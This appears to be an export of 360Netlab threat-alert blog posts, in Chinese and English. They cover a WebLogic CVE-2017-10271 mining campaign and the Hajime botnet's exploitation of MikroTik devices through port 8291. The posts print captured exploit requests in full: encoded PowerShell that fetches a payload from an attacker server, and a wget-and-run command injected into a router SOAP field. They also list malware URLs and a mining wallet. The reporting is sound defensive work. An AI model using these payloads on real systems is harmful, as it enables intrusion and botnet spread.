* 矿池：一组，包括 * pool.minexmr.com * sg.minexmr.com * ca.minexmr.com * fr.minexmr.com * de.minexmr.com * pool.supportxmr.com * 钱包地址：43ZSpXdMerQGerimDrUviDN6qP3vkwnkZY1vvzTV22AbLW1oCCBDstNjXqrT3anyZ22j7DEE74GkbVcQFyH2nNiC3fchGfc 逃避手段 DL.php 的下载，需要指定useragent 联系我们 感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"360 网络安全研究院威胁快讯模板：\n\n - IoC (IP地址或者域名都对应AS号)\n - 规模统计\n - 投入方式\n - 获利方式\n - 逃避手段\n - 联系方式\n\n#### IoC \n下载服务器\n```\n123.59.68.172\t\"AS4808 China Unicom Beijing Province Network\"\n```\n\n下载URL\n```\nhttp://123.59.68.172/Cache/DL.php\t\t#weblogic 利用payload中的初始url\nhttp://123.59.68.172/Cache/RunExe.exe\nhttp://123.59.68.172/Cache/WMI.ps1\nhttp://123.59.68.172/Cache/WMI64.ps1\nhttp://123.59.68.172/Cache/x64-VMP.exe\nhttp://123.59.68.172/Cache/x64.exe\nhttp://123.59.68.172/Cache/x86-JMP.exe\nhttp://123.59.68.172/Cache/x86-VMP.exe\nhttp://123.59.68.172/Cache/x86.exe\nhttp://123.59.68.172/Cache/x86.rc4\nhttp://123.59.68.172/putout/DL.ps1\n```\n\n123.59.68.172 上的文件\n```\n├── DL.php \t\t\t#weblogic 利用payload中的初始url\n├── DL.php.64_unpack\n├── DL.ps1\n├── DL.ps1.b64_unpack\n├── msvcr120.dll\n├── Neutrino.exe \t#扫描器，可以扫描 mssql，phpmyadmin,weblogic,webshell\n├── Neutrino.ps1\n├── RunExe.exe\n├── scripts\n│ ├── decode_file.py\n│ └── decode.py\n├── WMI64.ps1\n├── WMI64.ps1.b64_unpack\n├── WMI.ps1\n├── WMI.ps1.b64_unpack\n├── WMI.ps1.b64_unpack.exe\n├── x64.exe\n├── x64-VMP.exe\n├── x86.exe\n├── x86-JMP.exe\n├── x86.rc4\n└── x86-VMP.exe\n```\n\n#### 规模统计\n\n 不明，利用IP地址传播，从DNS渠道无法统计其规模\n\n#### 投入方式\n漏洞利用： CVE-2017-10271\n\n攻击payload如下。为避免误用，部分内容打码。\n```\nPOST /wls-wsat/CoordinatorPortType HTTP/1.1\nHost: {target}:7001\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0\nConnection: Close\nContent-Type: text/xml\nContent-Length: 1222\n\n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soapenv:Header>\n<work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\n<java version=\"1.8.0_131\" class=\"java.beans.XMLDecoder\">\n<void class=\"java.lang.ProcessBuilder\">\n <array class=\"java.lang.String\" length=\"3\">\n <void index=\"0\">\n <string>cmd.exe</string>\n </void>\n <void index=\"1\">\n <string>/c</string>\n </void>\n <void index=\"2\">\n <string>START PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBDAGEAcAB0AGkAbwBuADsAJABXAEMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAVwBDAC4ASABlAGEAZABlAHIAcwAuAEEAZA****************ByAC0AQQBnAGUAbgB0ACcALAAiAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADIALgAwACAAJABPAFMAIgApADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADIAMwAuADUAOQAuADYAOAAuADEANwAyAC8AQwBhAGMAaABlAC8ARABMAC4AcABoAHAAJwApADsA</string>\n </void>\n </array>\n <void method=\"start\"/>\n</void>\n</java>\n</work:WorkContext>\n</soapenv:Header>\n<soapenv:Body/>\n</soapenv:Envelope>\n```\n\n#### 获利方式\n\n挖矿\n\n - 矿池：一组，包括\n - pool.minexmr.com\n - sg.minexmr.com\n - ca.minexmr.com\n - fr.minexmr.com\n - de.minexmr.com\n - pool.supportxmr.com\n - 钱包地址：43ZSpXdMerQGerimDrUviDN6qP3vkwnkZY1vvzTV22AbLW1oCCBDstNjXqrT3anyZ22j7DEE74GkbVcQFyH2nNiC3fchGfc\n\n\n#### 逃避手段\nDL.php 的下载，需要指定useragent\n\n#### 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

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2018-03-26T03:22:26.000Z

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2018-03-26T04:49:21.000Z

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安全威胁预警：Hajime 新版本开始攻击 MikroTik.RouterOS

<!--kg-card-begin: markdown--><h4 id="ioc">IoC</h4> <p>部分下载URL如下，完整列表可以从 <a href="__GHOST_URL__/file/hajime.MikroTik.RouterOS.downloader.url.txt">这里</a> 下载</p> <pre><code>2018-03-26T10:30:00 hxxp://43.252.221.104:2722/4 2018-03-26T10:30:00 hxxp://43.252.221.104:2722/4 2018-03-26T10:30:00 hxxp://82.9.128.142:31735/4 2018-03-26T10:30:00 hxxp://82.9.128.142:31735/4 2018-03-26T11:30:00 hxxp://109.185.142.251:1714/4 2018-03-26T11:30:00 hxxp://109.185.142.251:1714/4 2018-03-26T11:30:00 hxxp://113.130.234.9:8728/4 2018-03-26T11:30:00 hxxp://113.130.234.9:8728/4 2018-03-26T11:30:00 hxxp://93.117.79.49:11826/4 2018-03-26T11:30:00 hxxp://93.117.79.49:11826/4 </code></pre> <h4 id="">规模统计</h4> <p>但钱在扫描</p> <ul> <li>扫描规模 13.5k/24小时 8291 端口，按照独立来源IP地址计算，</li> </ul> <h4 id="">所属家族</h4> <p>属于 hajime</p> <ul> <li>hajime的背景情况，见我们之前的文章和统计页面</li> <li>漏洞利用在老的hajime 版本里就集成了，现在是用这个老漏洞重新开始扫描这些端口</li> <li>扫描端口 TCP:7547,TCP:80,TCP:8080,TCP:8081,TCP:8082,TCP:81,TCP:82</li> <li>王辉：我看到传这个样本的ip一共有243个， 这些ip绝大部分之前都没看到任何扫描活动，都是今天开始扫8291, 23 81 82 8181 8082 8089 这些端口的</li> <li>曲文集： 80,81,82,8080,8081,8082,8089,8181,8880,8291,7547,5555</li> <li>曲文集： 23,5358（telnet crack)</li> </ul> <h4 id="">投入方式</h4> <p>漏洞利用：</p> <ul> <li>MikroTik RouterOS &lt; 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution <ul> <li><a href="https://www.exploit-db.com/exploits/44284/">https://www.exploit-db.com/exploits/44284/</a></li> </ul> </li> <li>MikroTik RouterOS &lt; 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution <ul> <li><a href="https://www.exploit-db.com/exploits/44284/">https://www.exploit-db.com/exploits/44284/</a></li> </ul> </li> </ul> <p>示例攻击payload如下：</p> <pre><code>POST /UD/act?1 HTTP/1.1 Host: ***.***.***.***:8081 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7 Content-Length: 517 Content-Type: text/xml SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers &lt;?xml version=&quot;1.0&quot;?&gt;&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; SOAP-ENV:encodingStyle=&quot;http://schemas.xmlsoap.org/soap/encoding/&quot;&gt; &lt;SOAP-ENV:Body&gt; &lt;u:SetNTPServers xmlns:u=&quot;urn:dslforum-org:service:Time:1&quot;&gt; &lt;NewNTPServer1&gt;`cd /tmp;wget http://92.115.163.126:13218/4;chmod 777 4;./4`&lt;/NewNTPServer1&gt;&lt;NewNTPServer2&gt;&lt;/NewNTPServer2&gt;&lt;NewNTPServer3&gt;&lt;/NewNTPServer3&gt;&lt;NewNTPServer4&gt;&lt;/NewNTPServer4&gt;&lt;NewNTPServer5&gt;&lt;/NewNTPServer5&gt; &lt;/u:SetNTPServers&gt; &lt;/SOAP-ENV:Body&gt;&lt;/SOAP-ENV:Envelope&gt; </code></pre> <h4 id="">获利方式</h4> <p>当前在扫描 8291 端口<br> 无，hajime 家族历史上不寻求获利</p> <h4 id="">逃避手段</h4> <p>加壳，UPX壳，符合 hajime 历史习惯<br> 本次恶意代码更改了UPX壳的幻数</p> <h4 id="">联系我们</h4> <p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p> <!--kg-card-end: markdown-->

IoC 部分下载URL如下，完整列表可以从 这里 下载 2018-03-26T10:30:00 hxxp://43.252.221.104:2722/4 2018-03-26T10:30:00 hxxp://43.252.221.104:2722/4 2018-03-26T10:30:00 hxxp://82.9.128.142:31735/4 2018-03-26T10:30:00 hxxp://82.9.128.142:31735/4 2018-03-26T11:30:00 hxxp://109.185.142.251:1714/4 2018-03-26T11:30:00 hxxp://109.185.142.251:1714/4 2018-03-26T11:30:00 hxxp://113.130.234.9:8728/4 2018-03-26T11:30:00 hxxp://113.130.234.9:8728/4 2018-03-26T11:30:00 hxxp://93.117.79.49:11826/4 2018-03-26T11:30:00 hxxp://93.117.79.49:11826/4 规模统计 但钱在扫描 * 扫描规模 13.5k/24小时 8291 端口，按照独立来源IP地址计算， 所属家族 属于 hajime * hajime的背景情况，见我们之前的文章和统计页面 * 漏洞利用在老的hajime 版本里就集成了，现在是用这个老漏洞重新开始扫描这些端口 * 扫描端口 TCP:7547,TCP:80,TCP:8080,TCP:8081,TCP:8082,TCP:81,TCP:82 * 王辉：我看到传这个样本的ip一共有243个， 这些ip绝大部分之前都没看到任何扫描活动，都是今天开始扫8291, 23 81 82 8181 8082 8089 这些端口的 * 曲文集： 80,81,82,8080,8081,8082,8089,8181,8880,8291,7547,5555 * 曲文集： 23,5358（telnet crack) 投入方式 漏洞利用： * MikroTik RouterOS < 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution * https://www.exploit-db.com/exploits/44284/ * MikroTik RouterOS < 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution * https://www.exploit-db.com/exploits/44284/ 示例攻击payload如下： POST /UD/act?1 HTTP/1.1 Host: ***.***.***.***:8081 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7 Content-Length: 517 Content-Type: text/xml SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://92.115.163.126:13218/4;chmod 777 4;./4`</NewNTPServer1><NewNTPServer2></NewNTPServer2><NewNTPServer3></NewNTPServer3><NewNTPServer4></NewNTPServer4><NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope> 获利方式 当前在扫描 8291 端口 无，hajime 家族历史上不寻求获利 逃避手段 加壳，UPX壳，符合 hajime 历史习惯 本次恶意代码更改了UPX壳的幻数 联系我们 感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"#### IoC \n\n部分下载URL如下，完整列表可以从 [这里](__GHOST_URL__/file/hajime.MikroTik.RouterOS.downloader.url.txt) 下载\n```\n2018-03-26T10:30:00\thxxp://43.252.221.104:2722/4\n2018-03-26T10:30:00\thxxp://43.252.221.104:2722/4\n2018-03-26T10:30:00\thxxp://82.9.128.142:31735/4\n2018-03-26T10:30:00\thxxp://82.9.128.142:31735/4\n2018-03-26T11:30:00\thxxp://109.185.142.251:1714/4\n2018-03-26T11:30:00\thxxp://109.185.142.251:1714/4\n2018-03-26T11:30:00\thxxp://113.130.234.9:8728/4\n2018-03-26T11:30:00\thxxp://113.130.234.9:8728/4\n2018-03-26T11:30:00\thxxp://93.117.79.49:11826/4\n2018-03-26T11:30:00\thxxp://93.117.79.49:11826/4\n```\n\n#### 规模统计\n\n 但钱在扫描 \n - 扫描规模 13.5k/24小时 8291 端口，按照独立来源IP地址计算，\n\n#### 所属家族\n\n 属于 hajime \n\n - hajime的背景情况，见我们之前的文章和统计页面\n - 漏洞利用在老的hajime 版本里就集成了，现在是用这个老漏洞重新开始扫描这些端口\n - 扫描端口 TCP:7547,TCP:80,TCP:8080,TCP:8081,TCP:8082,TCP:81,TCP:82\n - 王辉：我看到传这个样本的ip一共有243个， 这些ip绝大部分之前都没看到任何扫描活动，都是今天开始扫8291, 23 81 82 8181 8082 8089 这些端口的\n - 曲文集： 80,81,82,8080,8081,8082,8089,8181,8880,8291,7547,5555\n - 曲文集： 23,5358（telnet crack)\n#### 投入方式\n漏洞利用： \n\n - MikroTik RouterOS < 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution\n - https://www.exploit-db.com/exploits/44284/\n - MikroTik RouterOS < 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution\n - https://www.exploit-db.com/exploits/44284/\n\n\n\n示例攻击payload如下：\n```\nPOST /UD/act?1 HTTP/1.1\nHost: ***.***.***.***:8081\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7\nContent-Length: 517\nContent-Type: text/xml\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\n\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\"> <NewNTPServer1>`cd /tmp;wget http://92.115.163.126:13218/4;chmod 777 4;./4`</NewNTPServer1><NewNTPServer2></NewNTPServer2><NewNTPServer3></NewNTPServer3><NewNTPServer4></NewNTPServer4><NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>\n```\n\n#### 获利方式\n 当前在扫描 8291 端口\n 无，hajime 家族历史上不寻求获利\n\n#### 逃避手段\n\n 加壳，UPX壳，符合 hajime 历史习惯\n 本次恶意代码更改了UPX壳的幻数\n\n#### 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

109

post

2018-03-27T11:05:38.000Z

63873b9a8b1c1e0007f52f1e

quick-summary-port-8291-scan-cn

2018-10-06T09:03:55.000Z

public

published

__GHOST_URL__/content/images/2018/03/image001.jpg

2018-03-28T06:23:07.000Z

8291端口告警事件简报

<!--kg-card-begin: markdown--><h2 id="">结论</h2> <p>本次8291扫描事件由更新后的Hajime僵尸网络引起，在新版本中，有两个新的特性：</p> <ol> <li>利用对8291端口的扫描来确定存在'Chimay Red' Stack Clash Remote Code Execution漏洞MikroTik设备。</li> <li>利用上述漏洞进行蠕虫传播。</li> </ol> <h2 id="">起因</h2> <p>北京时间3月25日0点前后，互联网上8291端口出现大量扫描告警。</p> <p><img src="__GHOST_URL__/content/images/2018/03/image003.jpg" alt="" loading="lazy"></p> <p>下午2点左右，蜜罐数据显示该告警可能和 Hajime 有关，初步判断（UPX壳特有幻数+脱壳后样本特征）后，确认该样本为Hajime样本。并在其atk模块中发现了“'Chimay Red' Stack Clash Remote Code Execution”漏洞相关攻击代码。</p> <blockquote> <p><a href="https://www.exploit-db.com/exploits/44283/">https://www.exploit-db.com/exploits/44283/</a></p> </blockquote> <h2 id="">感染过程</h2> <p>更新后的Hajime除已有传播方式外还可以通过利用“'Chimay Red' Stack Clash Remote Code Execution”漏洞的方式进行蠕虫式传播，其传播过程大致分为两步：</p> <ol> <li>找到符合利用条件的MikroTik设备：挑选方法为探测8291端口的开放情况，在这一步中还会顺便探测出设备web端口（80,81,82,8080,8081,8082,8089,8181,8880）的开放情况，为后面漏洞利用做好铺垫。</li> <li>检查设备的版本号并发送Exploit，一旦漏洞成功触发便会执行随Exploit携带的Shellcode片段，该片段的具体功能就是获取Hajime母体并执行。</li> </ol> <p><img src="__GHOST_URL__/content/images/2018/03/Hajime_spread_with_8291.jpg" alt="" loading="lazy"></p> <h2 id="">扫描源规模</h2> <p>截止本日中午（北京时间2018-03-27 12:36），从darknet中共看到861,131个扫描源IP（72小时内）。并试图从这样的一个视角评估当前网络上整体情况。</p> <p>我们认为，互联网中目前至少有860k 个IP（不排除由于设备重启等情况导致的一个设备对应多个IP的可能，同时也会有一些噪音比如安全人员的IP等）正在对 8291 端口发起扫描，它们很大概率已被Hajime感染，可能是从（'Chimay Red' Stack Clash Remote Code Execution）漏洞攻陷的，也可能是通过其他方式（<a href="__GHOST_URL__/hajime-status-report/">参考我们上一篇关于Hajime的分析报告</a>）被攻陷的。</p> <h2 id="">扫描源分布</h2> <p><img src="__GHOST_URL__/content/images/2018/03/20180327-8291-----.png" alt="" loading="lazy"></p> <p>从上图不难发现扫描源的前三甲分别为：巴西（585k），伊朗（51.8k），俄罗斯（26.4k）。</p> <h2 id="">修复方案</h2> <ol> <li>防火墙侧屏蔽 8291 端口探测。</li> <li>MikroTik已发布更新，将已有MikroTik升级到最新版本。</li> </ol> <h2 id="ioc">IOC</h2> <p>06B4D50254C6C112437A3ED893EF40B4 .i.mipseb<br> 93A1A080FCDE07E512E7485C92861B69 atk.mipseb<br> fc834c015b357c687477cb9116531de7 atk.mipseb.upx.unpack</p> <h2 id="">参考</h2> <ol> <li><a href="https://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&amp;tsend=1522252800000&amp;dstport=8291&amp;toplistname=srcip&amp;topn=10&amp;sortby=sum">https://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&amp;tsend=1522252800000&amp;dstport=8291&amp;toplistname=srcip&amp;topn=10&amp;sortby=sum</a></li> <li><a href="https://forum.mikrotik.com/viewtopic.php?f=2&amp;t=132368&amp;sid=7f731eb96b119d6e9e1a90227270fdd4">https://forum.mikrotik.com/viewtopic.php?f=2&amp;t=132368&amp;sid=7f731eb96b119d6e9e1a90227270fdd4</a></li> <li><a href="https://www.exploit-db.com/exploits/44283/">https://www.exploit-db.com/exploits/44283/</a></li> <li><a href="__GHOST_URL__/hajime-status-report/">https://blog.netlab.360.com/hajime-status-report/</a></li> <li><a href="__GHOST_URL__/hajime-status-report-en/">https://blog.netlab.360.com/hajime-status-report-en/</a></li> </ol> <!--kg-card-end: markdown-->

结论 本次8291扫描事件由更新后的Hajime僵尸网络引起，在新版本中，有两个新的特性： 1. 利用对8291端口的扫描来确定存在'Chimay Red' Stack Clash Remote Code Execution漏洞MikroTik设备。 2. 利用上述漏洞进行蠕虫传播。 起因 北京时间3月25日0点前后，互联网上8291端口出现大量扫描告警。 下午2点左右，蜜罐数据显示该告警可能和 Hajime 有关，初步判断（UPX壳特有幻数+脱壳后样本特征）后，确认该样本为Hajime样本。并在其atk模块中发现了“'Chimay Red' Stack Clash Remote Code Execution”漏洞相关攻击代码。 https://www.exploit-db.com/exploits/44283/ 感染过程 更新后的Hajime除已有传播方式外还可以通过利用“'Chimay Red' Stack Clash Remote Code Execution”漏洞的方式进行蠕虫式传播，其传播过程大致分为两步： 1. 找到符合利用条件的MikroTik设备：挑选方法为探测8291端口的开放情况，在这一步中还会顺便探测出设备web端口（80,81,82,8080,8081,8082,8089,8181,8880）的开放情况，为后面漏洞利用做好铺垫。 2. 检查设备的版本号并发送Exploit，一旦漏洞成功触发便会执行随Exploit携带的Shellcode片段，该片段的具体功能就是获取Hajime母体并执行。 扫描源规模 截止本日中午（北京时间2018-03-27 12:36），从darknet中共看到861,131个扫描源IP（72小时内）。并试图从这样的一个视角评估当前网络上整体情况。 我们认为，互联网中目前至少有860k 个IP（不排除由于设备重启等情况导致的一个设备对应多个IP的可能，同时也会有一些噪音比如安全人员的IP等）正在对 8291 端口发起扫描，它们很大概率已被Hajime感染，可能是从（'Chimay Red' Stack Clash Remote Code Execution）漏洞攻陷的，也可能是通过其他方式（参考我们上一篇关于Hajime的分析报告）被攻陷的。 扫描源分布 从上图不难发现扫描源的前三甲分别为：巴西（585k），伊朗（51.8k），俄罗斯（26.4k）。 修复方案 1. 防火墙侧屏蔽 8291 端口探测。 2. MikroTik已发布更新，将已有MikroTik升级到最新版本。 IOC 06B4D50254C6C112437A3ED893EF40B4 .i.mipseb 93A1A080FCDE07E512E7485C92861B69 atk.mipseb fc834c015b357c687477cb9116531de7 atk.mipseb.upx.unpack 参考 1. https://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&tsend=1522252800000&dstport=8291&toplistname=srcip&topn=10&sortby=sum 2. https://forum.mikrotik.com/viewtopic.php?f=2&t=132368&sid=7f731eb96b119d6e9e1a90227270fdd4 3. https://www.exploit-db.com/exploits/44283/ 4. https://blog.netlab.360.com/hajime-status-report/ 5. https://blog.netlab.360.com/hajime-status-report-en/

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"## 结论\n本次8291扫描事件由更新后的Hajime僵尸网络引起，在新版本中，有两个新的特性：\n\n1.\t利用对8291端口的扫描来确定存在'Chimay Red' Stack Clash Remote Code Execution漏洞MikroTik设备。\n2.\t利用上述漏洞进行蠕虫传播。\n\n## 起因\n\n北京时间3月25日0点前后，互联网上8291端口出现大量扫描告警。\n\n\n\n下午2点左右，蜜罐数据显示该告警可能和 Hajime 有关，初步判断（UPX壳特有幻数+脱壳后样本特征）后，确认该样本为Hajime样本。并在其atk模块中发现了“'Chimay Red' Stack Clash Remote Code Execution”漏洞相关攻击代码。 \n> https://www.exploit-db.com/exploits/44283/\n\n## 感染过程\n\n更新后的Hajime除已有传播方式外还可以通过利用“'Chimay Red' Stack Clash Remote Code Execution”漏洞的方式进行蠕虫式传播，其传播过程大致分为两步： \n\n1.\t找到符合利用条件的MikroTik设备：挑选方法为探测8291端口的开放情况，在这一步中还会顺便探测出设备web端口（80,81,82,8080,8081,8082,8089,8181,8880）的开放情况，为后面漏洞利用做好铺垫。 \n2.\t检查设备的版本号并发送Exploit，一旦漏洞成功触发便会执行随Exploit携带的Shellcode片段，该片段的具体功能就是获取Hajime母体并执行。\n \n\n\n## 扫描源规模\n\n截止本日中午（北京时间2018-03-27 12:36），从darknet中共看到861,131个扫描源IP（72小时内）。并试图从这样的一个视角评估当前网络上整体情况。\n\n我们认为，互联网中目前至少有860k 个IP（不排除由于设备重启等情况导致的一个设备对应多个IP的可能，同时也会有一些噪音比如安全人员的IP等）正在对 8291 端口发起扫描，它们很大概率已被Hajime感染，可能是从（'Chimay Red' Stack Clash Remote Code Execution）漏洞攻陷的，也可能是通过其他方式（[参考我们上一篇关于Hajime的分析报告](__GHOST_URL__/hajime-status-report/)）被攻陷的。\n\n## 扫描源分布\n \n\n\n从上图不难发现扫描源的前三甲分别为：巴西（585k），伊朗（51.8k），俄罗斯（26.4k）。\n\n## 修复方案\n1.\t防火墙侧屏蔽 8291 端口探测。\n2.\tMikroTik已发布更新，将已有MikroTik升级到最新版本。\n\n## IOC\n\n06B4D50254C6C112437A3ED893EF40B4 .i.mipseb\n93A1A080FCDE07E512E7485C92861B69 atk.mipseb\nfc834c015b357c687477cb9116531de7 atk.mipseb.upx.unpack\n\n## 参考\n1.\thttps://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&tsend=1522252800000&dstport=8291&toplistname=srcip&topn=10&sortby=sum\n2.\thttps://forum.mikrotik.com/viewtopic.php?f=2&t=132368&sid=7f731eb96b119d6e9e1a90227270fdd4\n3.\thttps://www.exploit-db.com/exploits/44283/\n4.\t__GHOST_URL__/hajime-status-report/\n5.\t__GHOST_URL__/hajime-status-report-en/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

110

post

2018-03-28T04:58:44.000Z

63873b9a8b1c1e0007f52f1f

quick-summary-port-8291-scan-en

2018-10-06T09:13:02.000Z

public

published

__GHOST_URL__/content/images/2018/03/image003-1.jpg

2018-03-28T05:19:37.000Z

Quick summary about the Port 8291 scan

<!--kg-card-begin: markdown--><h2 id="summary">Summary</h2> <p>This 8291 scan event is caused by a Hajime botnet variant. Compared to the old Hajime, this one adds two new features:</p> <ol> <li>Check port 8291 to determine if the target is a MikroTik device</li> <li>Use ‘Chimay Red’ Stack Clash Remote Code Execution Loophole vulnerabilities to infect and spread.</li> </ol> <p>For more details about the Hajime, please check our previous blog <a href="__GHOST_URL__/hajime-status-report-en/">here</a></p> <h2 id="thesharpscanincrease">The sharp scan increase</h2> <p>At around 0:00 on March 25, Beijing time, our <a href="https://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&amp;tsend=1522252800000&amp;dstport=8291&amp;toplistname=srcip&amp;topn=10&amp;sortby=sum">Scanmon</a> system suggested a large number of scan activity is happening on port 8291 on a global scale.</p> <p><img src="__GHOST_URL__/content/images/2018/03/image003.jpg" alt="" loading="lazy"></p> <p>Around 2 pm, our honeypot data indicated this sudden spike was related to Hajime. Our preliminary conclusion based on its UPX_MAGIC_LE32 and some sample features confirmed that the sample is Hajime based. And we found the ‘Chimay Red’ Stack Clash Remote Code Execution” vulnerability related attack code in their atk module.</p> <blockquote> <p><a href="https://www.exploit-db.com/exploits/44283/">https://www.exploit-db.com/exploits/44283/</a></p> </blockquote> <h2 id="infectionprocess">Infection process</h2> <p>This Hajime variant adds a support of using “‘Chimay Red’ Stack Clash Remote Code “Execution” to perform worm-like spreading, and its propagation process is roughly divided into two steps:</p> <ol> <li>Find a MikroTik device by checking if the target port is open on port 8291, if this port is open,the other common web ports (80,81,82,8080,8081,8082,8089,8181,8880) will be probed next.</li> <li>Check the version number of the device and send the Exploit which carried the Shellcode. Once the vulnerability is successfully exploited, Hajime will be downloaded and executed.</li> </ol> <p><img src="__GHOST_URL__/content/images/2018/03/Hajime_spread_with_8291.jpg" alt="" loading="lazy"></p> <h2 id="numberofuniqueips">Number of unique ips</h2> <p>From 2018-03-25 00:00 to 2018-03-27 12:36(GMT+8), We logged a total of 861,131 unique scan source IPs (72 Hours).(Please bear in mind that device may change ip due to device reboot etc and it does not necessary mean all these devices are MikroTik devices as all the Hajime bots will perform this task as long as they have the most recent version of Hajime code running. Also naturally there will be some noises such as researcher ips in it)</p> <h2 id="scansourcedistribution">Scan Source Distribution</h2> <p><img src="__GHOST_URL__/content/images/2018/03/20180327-8291-----.png" alt="" loading="lazy"></p> <p>From the above figure, it is not difficult to find the top three sources of the scan source are: Brazil (585k), Iran (51.8k), Russia (26.4k).</p> <h2 id="mitigation">Mitigation</h2> <ol> <li>block unnecessary 8291 port request</li> <li>Update to the latest version from MikroTik.</li> </ol> <p>We will continue to monitor this activity, if readers have new discoveries, feel free to contact us on our <a href="https://twitter.com/360Netlab">twitter</a>.</p> <h2 id="ioc">IOC</h2> <p>06B4D50254C6C112437A3ED893EF40B4 .i.mipseb<br> 93A1A080FCDE07E512E7485C92861B69 atk.mipseb<br> fc834c015b357c687477cb9116531de7 atk.mipseb.upx.unpack</p> <h2 id="refer">Refer</h2> <ol> <li><a href="https://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&amp;tsend=1522252800000&amp;dstport=8291&amp;toplistname=srcip&amp;topn=10&amp;sortby=sum">https://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&amp;tsend=1522252800000&amp;dstport=8291&amp;toplistname=srcip&amp;topn=10&amp;sortby=sum</a></li> <li><a href="https://forum.mikrotik.com/viewtopic.php?f=2&amp;t=132368&amp;sid=7f731eb96b119d6e9e1a90227270fdd4">https://forum.mikrotik.com/viewtopic.php?f=2&amp;t=132368&amp;sid=7f731eb96b119d6e9e1a90227270fdd4</a></li> <li><a href="https://www.exploit-db.com/exploits/44283/">https://www.exploit-db.com/exploits/44283/</a></li> <li><a href="__GHOST_URL__/hajime-status-report/">https://blog.netlab.360.com/hajime-status-report/</a></li> <li><a href="__GHOST_URL__/hajime-status-report-en/">https://blog.netlab.360.com/hajime-status-report-en/</a></li> <li> <pre><code> https://twitter.com/360Netlab </code></pre> </li> </ol> <!--kg-card-end: markdown-->

Summary This 8291 scan event is caused by a Hajime botnet variant. Compared to the old Hajime, this one adds two new features: 1. Check port 8291 to determine if the target is a MikroTik device 2. Use ‘Chimay Red’ Stack Clash Remote Code Execution Loophole vulnerabilities to infect and spread. For more details about the Hajime, please check our previous blog here The sharp scan increase At around 0:00 on March 25, Beijing time, our Scanmon system suggested a large number of scan activity is happening on port 8291 on a global scale. Around 2 pm, our honeypot data indicated this sudden spike was related to Hajime. Our preliminary conclusion based on its UPX_MAGIC_LE32 and some sample features confirmed that the sample is Hajime based. And we found the ‘Chimay Red’ Stack Clash Remote Code Execution” vulnerability related attack code in their atk module. https://www.exploit-db.com/exploits/44283/ Infection process This Hajime variant adds a support of using “‘Chimay Red’ Stack Clash Remote Code 